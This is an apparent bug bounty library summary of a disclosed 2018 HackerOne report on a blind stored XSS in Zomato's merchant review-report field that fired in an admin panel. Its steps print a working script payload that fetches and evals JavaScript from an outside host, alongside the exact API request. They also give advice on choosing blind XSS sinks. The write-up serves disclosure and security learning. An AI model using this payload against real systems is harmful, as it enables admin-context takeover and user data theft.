# Blind XSS - Report review - Admin panel

Blind stored XSS in Zomato merchant review-report 'additional_text' field executed in admin review panel, letting attacker run JS in admin context.

- Payout: $350
- Severity: medium
- Program: Eternal
- Credited: gerben_javado
- Disclosed: 2018-03-29
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/314126
- Library page: https://bugbountylibrary.com/r/h1%3A314126
- Tags: domain:web impact:ato impact:internal-access kind:bounty platform:hackerone sev:medium tech:rest technique:blind vuln:xss

**Target:** Merchant review-report API (api.zomato.com /v2/merchant) rendered in admin panel reviews_new
**Root cause:** The 'additional_text' reason field from merchant review reports is stored and rendered as raw HTML in the admin review panel without sanitization.
**Steps:**
1. Send `POST /v2/█████merchant` to `api.zomato.com` with `X-Access-Token`, `X-Client-Id: zomato_merchantandroid_v2`, `reason_id=5`, target `review_id`, and `additional_text=<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>`
2. Admin opens `https://www.zomato.com████████/reviews_new?review_id={ID}`
3. Payload executes; CSP unsafe-inline allows inline script and XHR loads external JS for eval
**How found:** Researcher recognized that the free-text 'additional details' reason would be read by Zomato admins, so planted a blind XSS payload there and confirmed execution on the admin review page.
**Exploitation:** Attacker submits a review report with a blind XSS payload in additional_text; when an admin views the report in the admin panel, the script fires and XHR-loads attacker JS (bypassing CSP via unsafe-inline), giving JS execution in the admin origin to perform AJAX actions and exfiltrate user data.
**Escalation:** Admin-context JS enables AJAX requests to admin endpoints, potentially exposing private data of other users.
**Insight:** Free-text fields submitted by low-privilege users that are later reviewed by admins (report/abuse reasons, support tickets) are prime blind XSS sinks; test them with an XHR-based payload that survives CSP unsafe-inline.